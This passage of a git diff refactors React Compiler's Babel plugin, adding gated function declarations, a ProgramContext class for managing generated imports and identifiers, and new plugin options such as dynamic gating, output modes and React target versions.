+  fnPath: NodePath<t.FunctionDeclaration>,
+  compiled: t.FunctionDeclaration,
+  programContext: ProgramContext,
+  gatingFunctionIdentifierName: string,
+): void {
+  const originalFnName = fnPath.node.id;
+  const originalFnParams = fnPath.node.params;
+  const compiledParams = fnPath.node.params;
+  /**
+   * Note that other than `export default function() {}`, all other function
+   * declarations must have a binding identifier. Since default exports cannot
+   * be referenced, it's safe to assume that all function declarations passed
+   * here will have an identifier.
+   * https://tc39.es/ecma262/multipage/ecmascript-language-functions-and-classes.html#sec-function-definitions
+   */
+  CompilerError.invariant(originalFnName != null && compiled.id != null, {
+    reason:
+      'Expected function declarations that are referenced elsewhere to have a named identifier',
+    loc: fnPath.node.loc ?? GeneratedSource,
+  });
+  CompilerError.invariant(originalFnParams.length === compiledParams.length, {
+    reason:
+      'Expected React Compiler optimized function declarations to have the same number of parameters as source',
+    loc: fnPath.node.loc ?? GeneratedSource,
+  });
+
+  const gatingCondition = t.identifier(
+    programContext.newUid(`${gatingFunctionIdentifierName}_result`),
+  );
+  const unoptimizedFnName = t.identifier(
+    programContext.newUid(`${originalFnName.name}_unoptimized`),
+  );
+  const optimizedFnName = t.identifier(
+    programContext.newUid(`${originalFnName.name}_optimized`),
+  );
+  /**
+   * Step 1: rename existing functions
+   */
+  compiled.id.name = optimizedFnName.name;
+  fnPath.get('id').replaceInline(unoptimizedFnName);
+
+  /**
+   * Step 2: insert new function declaration
+   */
+  const newParams: Array<t.Identifier | t.RestElement> = [];
+  const genNewArgs: Array<() => t.Identifier | t.SpreadElement> = [];
+  for (let i = 0; i < originalFnParams.length; i++) {
+    const argName = `arg${i}`;
+    if (originalFnParams[i].type === 'RestElement') {
+      newParams.push(t.restElement(t.identifier(argName)));
+      genNewArgs.push(() => t.spreadElement(t.identifier(argName)));
+    } else {
+      newParams.push(t.identifier(argName));
+      genNewArgs.push(() => t.identifier(argName));
+    }
+  }
+  // insertAfter called in reverse order of how nodes should appear in program
+  fnPath.insertAfter(
+    t.functionDeclaration(
+      originalFnName,
+      newParams,
+      t.blockStatement([
+        t.ifStatement(
+          gatingCondition,
+          t.returnStatement(
+            t.callExpression(
+              compiled.id,
+              genNewArgs.map(fn => fn()),
+            ),
+          ),
+          t.returnStatement(
+            t.callExpression(
+              unoptimizedFnName,
+              genNewArgs.map(fn => fn()),
+            ),
+          ),
+        ),
+      ]),
+    ),
+  );
+  fnPath.insertBefore(
+    t.variableDeclaration('const', [
+      t.variableDeclarator(
+        gatingCondition,
+        t.callExpression(t.identifier(gatingFunctionIdentifierName), []),
+      ),
+    ]),
+  );
+  fnPath.insertBefore(compiled);
+}
 export function insertGatedFunctionDeclaration(
   fnPath: NodePath<
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
@@ -17,62 +132,82 @@ export function insertGatedFunctionDeclaration(
     | t.FunctionDeclaration
     | t.ArrowFunctionExpression
     | t.FunctionExpression,
-  gating: NonNullable<PluginOptions["gating"]>
+  programContext: ProgramContext,
+  gating: ExternalFunction,
+  referencedBeforeDeclaration: boolean,
 ): void {
-  const gatingExpression = t.conditionalExpression(
-    t.callExpression(t.identifier(gating.importSpecifierName), []),
-    buildFunctionExpression(compiled),
-    buildFunctionExpression(fnPath.node)
-  );
-
-  /*
-   * Convert function declarations to named variables *unless* this is an
-   * `export default function ...` since `export default const ...` is
-   * not supported. For that case we fall through to replacing w the raw
-   * conditional expression
-   */
-  if (
-    fnPath.parentPath.node.type !== "ExportDefaultDeclaration" &&
-    fnPath.node.type === "FunctionDeclaration" &&
-    fnPath.node.id != null
-  ) {
-    fnPath.replaceWith(
-      t.variableDeclaration("const", [
-        t.variableDeclarator(fnPath.node.id, gatingExpression),
-      ])
-    );
-  } else if (
-    fnPath.parentPath.node.type === "ExportDefaultDeclaration" &&
-    fnPath.node.type !== "ArrowFunctionExpression" &&
-    fnPath.node.id != null
-  ) {
-    fnPath.insertAfter(
-      t.exportDefaultDeclaration(t.identifier(fnPath.node.id.name))
-    );
-    fnPath.parentPath.replaceWith(
-      t.variableDeclaration("const", [
-        t.variableDeclarator(
-          t.identifier(fnPath.node.id.name),
-          gatingExpression
-        ),
-      ])
+  const gatingImportedName = programContext.addImportSpecifier(gating).name;
+  if (referencedBeforeDeclaration && fnPath.isFunctionDeclaration()) {
+    CompilerError.invariant(compiled.type === 'FunctionDeclaration', {
+      reason: 'Expected compiled node type to match input type',
+      description: `Got ${compiled.type} but expected FunctionDeclaration`,
+      loc: fnPath.node.loc ?? GeneratedSource,
+    });
+    insertAdditionalFunctionDeclaration(
+      fnPath,
+      compiled,
+      programContext,
+      gatingImportedName,
     );
   } else {
-    fnPath.replaceWith(gatingExpression);
+    const gatingExpression = t.conditionalExpression(
+      t.callExpression(t.identifier(gatingImportedName), []),
+      buildFunctionExpression(compiled),
+      buildFunctionExpression(fnPath.node),
+    );
+
+    /*
+     * Convert function declarations to named variables *unless* this is an
+     * `export default function ...` since `export default const ...` is
+     * not supported. For that case we fall through to replacing w the raw
+     * conditional expression
+     */
+    if (
+      fnPath.parentPath.node.type !== 'ExportDefaultDeclaration' &&
+      fnPath.node.type === 'FunctionDeclaration' &&
+      fnPath.node.id != null
+    ) {
+      fnPath.replaceWith(
+        t.variableDeclaration('const', [
+          t.variableDeclarator(fnPath.node.id, gatingExpression),
+        ]),
+      );
+    } else if (
+      fnPath.parentPath.node.type === 'ExportDefaultDeclaration' &&
+      fnPath.node.type !== 'ArrowFunctionExpression' &&
+      fnPath.node.id != null
+    ) {
+      fnPath.insertAfter(
+        t.exportDefaultDeclaration(t.identifier(fnPath.node.id.name)),
+      );
+      fnPath.parentPath.replaceWith(
+        t.variableDeclaration('const', [
+          t.variableDeclarator(
+            t.identifier(fnPath.node.id.name),
+            gatingExpression,
+          ),
+        ]),
+      );
+    } else {
+      fnPath.replaceWith(gatingExpression);
+    }
   }
 }
 
 function buildFunctionExpression(
-  node: t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
+  node:
+    | t.FunctionDeclaration
+    | t.ArrowFunctionExpression
+    | t.FunctionExpression,
 ): t.ArrowFunctionExpression | t.FunctionExpression {
   if (
-    node.type === "ArrowFunctionExpression" ||
-    node.type === "FunctionExpression"
+    node.type === 'ArrowFunctionExpression' ||
+    node.type === 'FunctionExpression'
   ) {
     return node;
   } else {
     const fn: t.FunctionExpression = {
-      type: "FunctionExpression",
+      type: 'FunctionExpression',
       async: node.async,
       generator: node.generator,
       loc: node.loc ?? null,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Imports.ts b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Imports.ts
index 7fc42b8d7378..15796d77a70e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Imports.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Imports.ts
@@ -5,165 +5,319 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { NodePath } from "@babel/core";
-import * as t from "@babel/types";
-import { CompilerError } from "../CompilerError";
-import { ExternalFunction, GeneratedSource } from "../HIR";
-import { getOrInsertDefault } from "../Utils/utils";
+import {NodePath} from '@babel/core';
+import * as t from '@babel/types';
+import {Scope as BabelScope} from '@babel/traverse';
 
-export function addImportsToProgram(
+import {CompilerError, ErrorCategory} from '../CompilerError';
+import {
+  EnvironmentConfig,
+  GeneratedSource,
+  NonLocalImportSpecifier,
+} from '../HIR';
+import {getOrInsertWith} from '../Utils/utils';
+import {ExternalFunction, isHookName} from '../HIR/Environment';
+import {Err, Ok, Result} from '../Utils/Result';
+import {LoggerEvent, ParsedPluginOptions} from './Options';
+import {getReactCompilerRuntimeModule} from './Program';
+import {SuppressionRange} from './Suppression';
+
+export function validateRestrictedImports(
   path: NodePath<t.Program>,
-  importList: Array<ExternalFunction>
-): void {
-  const identifiers: Set<string> = new Set();
-  const sortedImports: Map<string, Array<string>> = new Map();
-  for (const { importSpecifierName, source } of importList) {
-    /*
-     * Codegen currently does not rename import specifiers, so we do additional
-     * validation here
-     */
-    CompilerError.invariant(identifiers.has(importSpecifierName) === false, {
-      reason: `Encountered conflicting import specifier for ${importSpecifierName} in Forget config.`,
-      description: null,
-      loc: GeneratedSource,
-      suggestions: null,
-    });
-    CompilerError.invariant(
-      path.scope.hasBinding(importSpecifierName) === false,
-      {
-        reason: `Encountered conflicting import specifiers for ${importSpecifierName} in generated program.`,
-        description: null,
-        loc: GeneratedSource,
-        suggestions: null,
+  {validateBlocklistedImports}: EnvironmentConfig,
+): CompilerError | null {
+  if (
+    validateBlocklistedImports == null ||
+    validateBlocklistedImports.length === 0
+  ) {
+    return null;
+  }
+  const error = new CompilerError();
+  const restrictedImports = new Set(validateBlocklistedImports);
+  path.traverse({
+    ImportDeclaration(importDeclPath) {
+      if (restrictedImports.has(importDeclPath.node.source.value)) {
+        error.push({
+          category: ErrorCategory.Todo,
+          reason: 'Bailing out due to blocklisted import',
+          description: `Import from module ${importDeclPath.node.source.value}`,
+          loc: importDeclPath.node.loc ?? null,
+        });
       }
+    },
+  });
+  if (error.hasAnyErrors()) {
+    return error;
+  } else {
+    return null;
+  }
+}
+
+type ProgramContextOptions = {
+  program: NodePath<t.Program>;
+  suppressions: Array<SuppressionRange>;
+  opts: ParsedPluginOptions;
+  filename: string | null;
+  code: string | null;
+  hasModuleScopeOptOut: boolean;
+};
+export class ProgramContext {
+  /**
+   * Program and environment context
+   */
+  scope: BabelScope;
+  opts: ParsedPluginOptions;
+  filename: string | null;
+  code: string | null;
+  reactRuntimeModule: string;
+  suppressions: Array<SuppressionRange>;
+  hasModuleScopeOptOut: boolean;
+
+  /*
+   * This is a hack to work around what seems to be a Babel bug. Babel doesn't
+   * consistently respect the `skip()` function to avoid revisiting a node within
+   * a pass, so we use this set to track nodes that we have compiled.
+   */
+  alreadyCompiled: WeakSet<object> | Set<object> = new (WeakSet ?? Set)();
+  // known generated or referenced identifiers in the program
+  knownReferencedNames: Set<string> = new Set();
+  // generated imports
+  imports: Map<string, Map<string, NonLocalImportSpecifier>> = new Map();
+
+  constructor({
+    program,
+    suppressions,
+    opts,
+    filename,
+    code,
+    hasModuleScopeOptOut,
+  }: ProgramContextOptions) {
+    this.scope = program.scope;
+    this.opts = opts;
+    this.filename = filename;
+    this.code = code;
+    this.reactRuntimeModule = getReactCompilerRuntimeModule(opts.target);
+    this.suppressions = suppressions;
+    this.hasModuleScopeOptOut = hasModuleScopeOptOut;
+  }
+
+  isHookName(name: string): boolean {
+    return isHookName(name);
+  }
+
+  hasReference(name: string): boolean {
+    return (
+      this.knownReferencedNames.has(name) ||
+      this.scope.hasBinding(name) ||
+      this.scope.hasGlobal(name) ||
+      this.scope.hasReference(name)
     );
-    identifiers.add(importSpecifierName);
+  }
+
+  newUid(name: string): string {
+    /**
+     * Don't call babel's generateUid for known hook imports, as
+     * InferTypes might eventually type `HookKind` based on callee naming
+     * convention and `_useFoo` is not named as a hook.
+     *
+     * Local uid generation is susceptible to check-before-use bugs since we're
+     * checking for naming conflicts / references long before we actually insert
+     * the import. (see similar logic in HIRBuilder:resolveBinding)
+     */
+    let uid;
+    if (this.isHookName(name)) {
+      uid = name;
+      let i = 0;
+      while (this.hasReference(uid)) {
+        this.knownReferencedNames.add(uid);
+        uid = `${name}_${i++}`;
+      }
+    } else if (!this.hasReference(name)) {
+      uid = name;
+    } else {
+      uid = this.scope.generateUid(name);
+    }
+    this.knownReferencedNames.add(uid);
+    return uid;
+  }
 
-    const importSpecifierNameList = getOrInsertDefault(
-      sortedImports,
-      source,
-      []
+  addMemoCacheImport(): NonLocalImportSpecifier {
+    return this.addImportSpecifier(
+      {
+        source: this.reactRuntimeModule,
+        importSpecifierName: 'c',
+      },
+      '_c',
     );
-    importSpecifierNameList.push(importSpecifierName);
   }
 
-  const stmts: Array<t.ImportDeclaration> = [];
-  for (const [source, importSpecifierNameList] of sortedImports) {
-    const importSpecifiers = importSpecifierNameList.map((name) => {
-      const id = t.identifier(name);
-      return t.importSpecifier(id, id);
-    });
+  /**
+   *
+   * @param externalFunction
+   * @param nameHint if defined, will be used as the name of the import specifier
+   * @returns
+   */
+  addImportSpecifier(
+    {source: module, importSpecifierName: specifier}: ExternalFunction,
+    nameHint?: string,
+  ): NonLocalImportSpecifier {
+    const maybeBinding = this.imports.get(module)?.get(specifier);
+    if (maybeBinding != null) {
+      return {...maybeBinding};
+    }
 
-    stmts.push(t.importDeclaration(importSpecifiers, t.stringLiteral(source)));
+    const binding: NonLocalImportSpecifier = {
+      kind: 'ImportSpecifier',
+      name: this.newUid(nameHint ?? specifier),
+      module,
+      imported: specifier,
+    };
+    getOrInsertWith(this.imports, module, () => new Map()).set(specifier, {
+      ...binding,
+    });
+    return binding;
   }
-  path.unshiftContainer("body", stmts);
-}
 
-/*
- * Matches `import { ... } from <moduleName>;`
- * but not `import * as React from <moduleName>;`
- */
-function isNonNamespacedImport(
-  importDeclPath: NodePath<t.ImportDeclaration>,
-  moduleName: string
-): boolean {
-  return (
-    importDeclPath.get("source").node.value === moduleName &&
-    importDeclPath
-      .get("specifiers")
-      .every((specifier) => specifier.isImportSpecifier()) &&
-    importDeclPath.node.importKind !== "type" &&
-    importDeclPath.node.importKind !== "typeof"
-  );
-}
+  addNewReference(name: string): void {
+    this.knownReferencedNames.add(name);
+  }
 
-function hasExistingNonNamespacedImportOfModule(
-  program: NodePath<t.Program>,
-  moduleName: string
-): boolean {
-  let hasExistingImport = false;
-  program.traverse({
-    ImportDeclaration(importDeclPath) {
-      if (isNonNamespacedImport(importDeclPath, moduleName)) {
-        hasExistingImport = true;
-      }
-    },
-  });
+  assertGlobalBinding(
+    name: string,
+    localScope?: BabelScope,
+  ): Result<void, CompilerError> {
+    const scope = localScope ?? this.scope;
+    if (!scope.hasReference(name) && !scope.hasBinding(name)) {
+      return Ok(undefined);
+    }
+    const error = new CompilerError();
+    error.push({
+      category: ErrorCategory.Todo,
+      reason: 'Encountered conflicting global in generated program',
+      description: `Conflict from local binding ${name}`,
+      loc: scope.getBinding(name)?.path.node.loc ?? null,
+      suggestions: null,
+    });
+    return Err(error);
+  }
 
-  return hasExistingImport;
+  logEvent(event: LoggerEvent): void {
+    if (this.opts.logger != null) {
+      this.opts.logger.logEvent(this.filename, event);
+    }
+  }
 }
 
-/*
- * If an existing import of React exists (ie `import { ... } from '<moduleName>'`), inject useMemoCache
- * into the list of destructured variables.
- */
-function addMemoCacheFunctionSpecifierToExistingImport(
+function getExistingImports(
   program: NodePath<t.Program>,
-  moduleName: string,
-  identifierName: string
-): boolean {
-  let didInsertUseMemoCache = false;
+): Map<string, NodePath<t.ImportDeclaration>> {
+  const existingImports = new Map<string, NodePath<t.ImportDeclaration>>();
   program.traverse({
-    ImportDeclaration(importDeclPath) {
-      if (
-        !didInsertUseMemoCache &&
-        isNonNamespacedImport(importDeclPath, moduleName)
-      ) {
-        importDeclPath.pushContainer(
-          "specifiers",
-          t.importSpecifier(t.identifier(identifierName), t.identifier("c"))
-        );
-        didInsertUseMemoCache = true;
+    ImportDeclaration(path) {
+      if (isNonNamespacedImport(path)) {
+        existingImports.set(path.node.source.value, path);
       }
     },
   });
-  return didInsertUseMemoCache;
+  return existingImports;
 }
 
-export function updateMemoCacheFunctionImport(
-  program: NodePath<t.Program>,
-  moduleName: string,
-  useMemoCacheIdentifier: string
+export function addImportsToProgram(
+  path: NodePath<t.Program>,
+  programContext: ProgramContext,
 ): void {
-  /*
-   * If there isn't already an import of * as React, insert it so useMemoCache doesn't
-   * throw
-   */
-  const hasExistingImport = hasExistingNonNamespacedImportOfModule(
-    program,
-    moduleName
+  const existingImports = getExistingImports(path);
+  const stmts: Array<t.ImportDeclaration | t.VariableDeclaration> = [];
+  const sortedModules = [...programContext.imports.entries()].sort(([a], [b]) =>
+    a.localeCompare(b),
   );
-
-  if (hasExistingImport) {
-    const didUpdateImport = addMemoCacheFunctionSpecifierToExistingImport(
-      program,
-      moduleName,
-      useMemoCacheIdentifier
-    );
-    if (!didUpdateImport) {
-      throw new Error(
-        `Expected an ImportDeclaration of \`${moduleName}\` in order to update ImportSpecifiers with useMemoCache`
+  for (const [moduleName, importsMap] of sortedModules) {
+    for (const [specifierName, loweredImport] of importsMap) {
+      /**
+       * Assert that the import identifier hasn't already be declared in the program.
+       * Note: we use getBinding here since `Scope.hasBinding` pessimistically returns true
+       * for all allocated uids (from `Scope.getUid`)
+       */
+      CompilerError.invariant(
+        path.scope.getBinding(loweredImport.name) == null,
+        {
+          reason:
+            'Encountered conflicting import specifiers in generated program',
+          description: `Conflict from import ${loweredImport.module}:(${loweredImport.imported} as ${loweredImport.name})`,
+          loc: GeneratedSource,
+        },
+      );
+      CompilerError.invariant(
+        loweredImport.module === moduleName &&
+          loweredImport.imported === specifierName,
+        {
+          reason:
+            'Found inconsistent import specifier. This is an internal bug.',
+          description: `Expected import ${moduleName}:${specifierName} but found ${loweredImport.module}:${loweredImport.imported}`,
+          loc: GeneratedSource,
+        },
       );
     }
-  } else {
-    addMemoCacheFunctionImportDeclaration(
-      program,
-      moduleName,
-      useMemoCacheIdentifier
-    );
+    const sortedImport: Array<NonLocalImportSpecifier> = [
+      ...importsMap.values(),
+    ].sort(({imported: a}, {imported: b}) => a.localeCompare(b));
+    const importSpecifiers = sortedImport.map(specifier => {
+      return t.importSpecifier(
+        t.identifier(specifier.name),
+        t.identifier(specifier.imported),
+      );
+    });
+
+    /**
+     * If an existing import of this module exists (ie `import { ... } from
+     * '<moduleName>'`), inject new imported specifiers into the list of
+     * destructured variables.
+     */
+    const maybeExistingImports = existingImports.get(moduleName);
+    if (maybeExistingImports != null) {
+      maybeExistingImports.pushContainer('specifiers', importSpecifiers);
+    } else {
+      if (path.node.sourceType === 'module') {
+        stmts.push(
+          t.importDeclaration(importSpecifiers, t.stringLiteral(moduleName)),
+        );
+      } else {
+        stmts.push(
+          t.variableDeclaration('const', [
+            t.variableDeclarator(
+              t.objectPattern(
+                sortedImport.map(specifier => {
+                  return t.objectProperty(
+                    t.identifier(specifier.imported),
+                    t.identifier(specifier.name),
+                  );
+                }),
+              ),
+              t.callExpression(t.identifier('require'), [
+                t.stringLiteral(moduleName),
+              ]),
+            ),
+          ]),
+        );
+      }
+    }
   }
+  path.unshiftContainer('body', stmts);
 }
 
-function addMemoCacheFunctionImportDeclaration(
-  program: NodePath<t.Program>,
-  moduleName: string,
-  localName: string
-): void {
-  program.unshiftContainer(
-    "body",
-    t.importDeclaration(
-      [t.importSpecifier(t.identifier(localName), t.identifier("c"))],
-      t.stringLiteral(moduleName)
-    )
+/*
+ * Matches `import { ... } from <moduleName>;`
+ * but not `import * as React from <moduleName>;`
+ *         `import type { Foo } from <moduleName>;`
+ */
+function isNonNamespacedImport(
+  importDeclPath: NodePath<t.ImportDeclaration>,
+): boolean {
+  return (
+    importDeclPath
+      .get('specifiers')
+      .every(specifier => specifier.isImportSpecifier()) &&
+    importDeclPath.node.importKind !== 'type' &&
+    importDeclPath.node.importKind !== 'typeof'
   );
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Options.ts b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Options.ts
index 87cc05e4626a..c0576c7521f1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Options.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Options.ts
@@ -5,11 +5,23 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import * as t from "@babel/types";
-import { z } from "zod";
-import { CompilerErrorDetailOptions } from "../CompilerError";
-import { ExternalFunction, PartialEnvironmentConfig } from "../HIR/Environment";
-import { hasOwnProperty } from "../Utils/utils";
+import * as t from '@babel/types';
+import {z} from 'zod/v4';
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  CompilerErrorDetail,
+  CompilerErrorDetailOptions,
+} from '../CompilerError';
+import {
+  EnvironmentConfig,
+  ExternalFunction,
+  parseEnvironmentConfig,
+  tryParseExternalFunction,
+} from '../HIR/Environment';
+import {hasOwnProperty} from '../Utils/utils';
+import {fromZodError} from 'zod-validation-error/v4';
+import {CompilerPipelineValue} from './Pipeline';
 
 const PanicThresholdOptionsSchema = z.enum([
   /*
@@ -18,21 +30,29 @@ const PanicThresholdOptionsSchema = z.enum([
    * If Forget is invoked through `BabelPluginReactCompiler`, this will at the least
    * skip Forget compilation for the rest of current file.
    */
-  "all_errors",
+  'all_errors',
   /*
    * Panic by throwing an exception only on critical or unrecognized errors.
    * For all other errors, skip the erroring function without inserting
    * a Forget-compiled version (i.e. same behavior as noEmit).
    */
-  "critical_errors",
+  'critical_errors',
   // Never panic by throwing an exception.
-  "none",
+  'none',
 ]);
 
 export type PanicThresholdOptions = z.infer<typeof PanicThresholdOptionsSchema>;
+const DynamicGatingOptionsSchema = z.object({
+  source: z.string(),
+});
+export type DynamicGatingOptions = z.infer<typeof DynamicGatingOptionsSchema>;
+const CustomOptOutDirectiveSchema = z
+  .nullable(z.array(z.string()))
+  .default(null);
+type CustomOptOutDirective = z.infer<typeof CustomOptOutDirectiveSchema>;
 
-export type PluginOptions = {
-  environment: PartialEnvironmentConfig | null;
+export type PluginOptions = Partial<{
+  environment: Partial<EnvironmentConfig>;
 
   logger: Logger | null;
 
@@ -58,16 +78,49 @@ export type PluginOptions = {
    */
   gating: ExternalFunction | null;
 
+  /**
+   * If specified, this enables dynamic gating which matches `use memo if(...)`
+   * directives.
+   *
+   * Example usage:
+   * ```js
+   * // @dynamicGating:{"source":"myModule"}
+   * export function MyComponent() {
+   *   'use memo if(isEnabled)';
+   *    return <div>...</div>;
+   * }
+   * ```
+   * This will emit:
+   * ```js
+   * import {isEnabled} from 'myModule';
+   * export const MyComponent = isEnabled()
+   *   ? <optimized version>
+   *   : <original version>;
+   * ```
+   */
+  dynamicGating: DynamicGatingOptions | null;
+
   panicThreshold: PanicThresholdOptions;
 
-  /*
+  /**
+   * @deprecated
+   *
    * When enabled, Forget will continue statically analyzing and linting code, but skip over codegen
    * passes.
    *
+   * NOTE: ignored if `outputMode` is specified
+   *
    * Defaults to false
    */
   noEmit: boolean;
 
+  /**
+   * If specified, overrides `noEmit` and controls the output mode of the compiler.
+   *
+   * Defaults to null
+   */
+  outputMode: CompilerOutputMode | null;
+
   /*
    * Determines the strategy for determining which functions to compile. Note that regardless of
    * which mode is enabled, a component can be opted out by adding the string literal
@@ -82,17 +135,6 @@ export type PluginOptions = {
    */
   compilationMode: CompilationMode;
 
-  /*
-   * If enabled, Forget will import `useMemoCache` from the given module
-   * instead of `react/compiler-runtime`.
-   *
-   * ```
-   * // If set to "react-compiler-runtime"
-   * import {c as useMemoCache} from 'react-compiler-runtime';
-   * ```
-   */
-  runtimeModule?: string | null | undefined;
-
   /**
    * By default React Compiler will skip compilation of code that suppresses the default
    * React ESLint rules, since this is a strong indication that the code may be breaking React rules
@@ -102,22 +144,62 @@ export type PluginOptions = {
    * provided rules will skip compilation. To disable this feature (never bailout of compilation
    * even if the default ESLint is suppressed), pass an empty array.
    */
-  eslintSuppressionRules?: Array<string> | null | undefined;
+  eslintSuppressionRules: Array<string> | null | undefined;
 
+  /**
+   * Whether to report "suppression" errors for Flow suppressions. If false, suppression errors
+   * are only emitted for ESLint suppressions
+   */
   flowSuppressions: boolean;
+
   /*
    * Ignore 'use no forget' annotations. Helpful during testing but should not be used in production.
    */
   ignoreUseNoForget: boolean;
 
-  sources?: Array<string> | ((filename: string) => boolean) | null;
+  /**
+   * Unstable / do not use
+   */
+  customOptOutDirectives: CustomOptOutDirective;
+
+  sources: Array<string> | ((filename: string) => boolean) | null;
 
   /**
    * The compiler has customized support for react-native-reanimated, intended as a temporary workaround.
    * Set this flag (on by default) to automatically check for this library and activate the support.
    */
   enableReanimatedCheck: boolean;
-};
+
+  /**
+   * The minimum major version of React that the compiler should emit code for. If the target is 19
+   * or higher, the compiler emits direct imports of React runtime APIs needed by the compiler. On
+   * versions prior to 19, an extra runtime package react-compiler-runtime is necessary to provide
+   * a userspace approximation of runtime APIs.
+   */
+  target: CompilerReactTarget;
+}>;
+
+export type ParsedPluginOptions = Required<
+  Omit<PluginOptions, 'environment'>
+> & {environment: EnvironmentConfig};
+
+const CompilerReactTargetSchema = z.union([
+  z.literal('17'),
+  z.literal('18'),
+  z.literal('19'),
+  /**
+   * Used exclusively for Meta apps which are guaranteed to have compatible
+   * react runtime and compiler versions. Note that only the FB-internal bundles
+   * re-export useMemoCache (see
+   * https://github.com/facebook/react/blob/5b0ef217ef32333a8e56f39be04327c89efa346f/packages/react/index.fb.js#L68-L70),
+   * so this option is invalid / creates runtime errors for open-source users.
+   */
+  z.object({
+    kind: z.literal('donotuse_meta_internal'),
+    runtimeModule: z.string().default('react'),
+  }),
+]);
+export type CompilerReactTarget = z.infer<typeof CompilerReactTargetSchema>;
 
 const CompilationModeSchema = z.enum([
   /*
@@ -130,17 +212,28 @@ const CompilationModeSchema = z.enum([
    *     false positives, since compilation has a greater impact than linting.
    * This is the default mode
    */
-  "infer",
+  'infer',
   // Compile only components using Flow component syntax and hooks using hook syntax.
-  "syntax",
+  'syntax',
   // Compile only functions which are explicitly annotated with "use forget"
-  "annotation",
+  'annotation',
   // Compile all top-level functions
-  "all",
+  'all',
 ]);
 
 export type CompilationMode = z.infer<typeof CompilationModeSchema>;
 
+const CompilerOutputModeSchema = z.enum([
+  // Build optimized for SSR, with client features removed
+  'ssr',
+  // Build optimized for the client, with auto memoization
+  'client',
+  // Lint mode, the output is unused but validations should run
+  'lint',
+]);
+
+export type CompilerOutputMode = z.infer<typeof CompilerOutputModeSchema>;
+
 /**
  * Represents 'events' that may occur during compilation. Events are only
  * recorded when a logger is set (through the config).
@@ -155,68 +248,172 @@ export type CompilationMode = z.infer<typeof CompilationModeSchema>;
  *   babel or other unhandled exceptions).
  */
 export type LoggerEvent =
-  | {
-      kind: "CompileError";
-      fnLoc: t.SourceLocation | null;
-      detail: CompilerErrorDetailOptions;
-    }
-  | {
-      kind: "CompileDiagnostic";
-      fnLoc: t.SourceLocation | null;
-      detail: Omit<Omit<CompilerErrorDetailOptions, "severity">, "suggestions">;
-    }
-  | {
-      kind: "CompileSuccess";
-      fnLoc: t.SourceLocation | null;
-      fnName: string | null;
-      memoSlots: number;
-      memoBlocks: number;
-      memoValues: number;
-      prunedMemoBlocks: number;
-      prunedMemoValues: number;
-    }
-  | {
-      kind: "PipelineError";
-      fnLoc: t.SourceLocation | null;
-      data: string;
-    };
+  | CompileSuccessEvent
+  | CompileErrorEvent
+  | CompileDiagnosticEvent
+  | CompileSkipEvent
+  | CompileUnexpectedThrowEvent
+  | PipelineErrorEvent
+  | TimingEvent;
 
+export type CompileErrorEvent = {
+  kind: 'CompileError';
+  fnLoc: t.SourceLocation | null;
+  detail: CompilerErrorDetail | CompilerDiagnostic;
+};
+export type CompileDiagnosticEvent = {
+  kind: 'CompileDiagnostic';
+  fnLoc: t.SourceLocation | null;
+  detail: Omit<Omit<CompilerErrorDetailOptions, 'severity'>, 'suggestions'>;
+};
+export type CompileSuccessEvent = {
+  kind: 'CompileSuccess';
+  fnLoc: t.SourceLocation | null;
+  fnName: string | null;
+  memoSlots: number;
+  memoBlocks: number;
+  memoValues: number;
+  prunedMemoBlocks: number;
+  prunedMemoValues: number;
+};
+export type CompileSkipEvent = {
+  kind: 'CompileSkip';
+  fnLoc: t.SourceLocation | null;
+  reason: string;
+  loc: t.SourceLocation | null;
+};
+export type PipelineErrorEvent = {
+  kind: 'PipelineError';
+  fnLoc: t.SourceLocation | null;
+  data: string;
+};
+export type CompileUnexpectedThrowEvent = {
+  kind: 'CompileUnexpectedThrow';
+  fnLoc: t.SourceLocation | null;
+  data: string;
+};
+export type TimingEvent = {
+  kind: 'Timing';
+  measurement: PerformanceMeasure;
+};
 export type Logger = {
   logEvent: (filename: string | null, event: LoggerEvent) => void;
+  debugLogIRs?: (value: CompilerPipelineValue) => void;
 };
 
-export const defaultOptions: PluginOptions = {
-  compilationMode: "infer",
-  panicThreshold: "none",
-  environment: {},
+export const defaultOptions: ParsedPluginOptions = {
+  compilationMode: 'infer',
+  panicThreshold: 'none',
+  environment: parseEnvironmentConfig({}).unwrap(),
   logger: null,
   gating: null,
   noEmit: false,
-  runtimeModule: null,
+  outputMode: null,
+  dynamicGating: null,
   eslintSuppressionRules: null,
-  flowSuppressions: false,
+  flowSuppressions: true,
   ignoreUseNoForget: false,
-  sources: (filename) => {
-    return filename.indexOf("node_modules") === -1;
+  sources: filename => {
+    return filename.indexOf('node_modules') === -1;
   },
   enableReanimatedCheck: true,
-} as const;
+  customOptOutDirectives: null,
+  target: '19',
+};
 
-export function parsePluginOptions(obj: unknown): PluginOptions {
-  if (obj == null || typeof obj !== "object") {
+export function parsePluginOptions(obj: unknown): ParsedPluginOptions {
+  if (obj == null || typeof obj !== 'object') {
     return defaultOptions;
   }
   const parsedOptions = Object.create(null);
   for (let [key, value] of Object.entries(obj)) {
-    if (typeof value === "string") {
+    if (typeof value === 'string') {
       // normalize string configs to be case insensitive
       value = value.toLowerCase();
     }
     if (isCompilerFlag(key)) {
-      parsedOptions[key] = value;
+      switch (key) {
+        case 'environment': {
+          const environmentResult = parseEnvironmentConfig(value);
+          if (environmentResult.isErr()) {
+            CompilerError.throwInvalidConfig({
+              reason:
+                'Error in validating environment config. This is an advanced setting and not meant to be used directly',
+              description: environmentResult.unwrapErr().toString(),
+              suggestions: null,
+              loc: null,
+            });
+          }
+          parsedOptions[key] = environmentResult.unwrap();
+          break;
+        }
+        case 'target': {
+          parsedOptions[key] = parseTargetConfig(value);
+          break;
+        }
+        case 'gating': {
+          if (value == null) {
+            parsedOptions[key] = null;
+          } else {
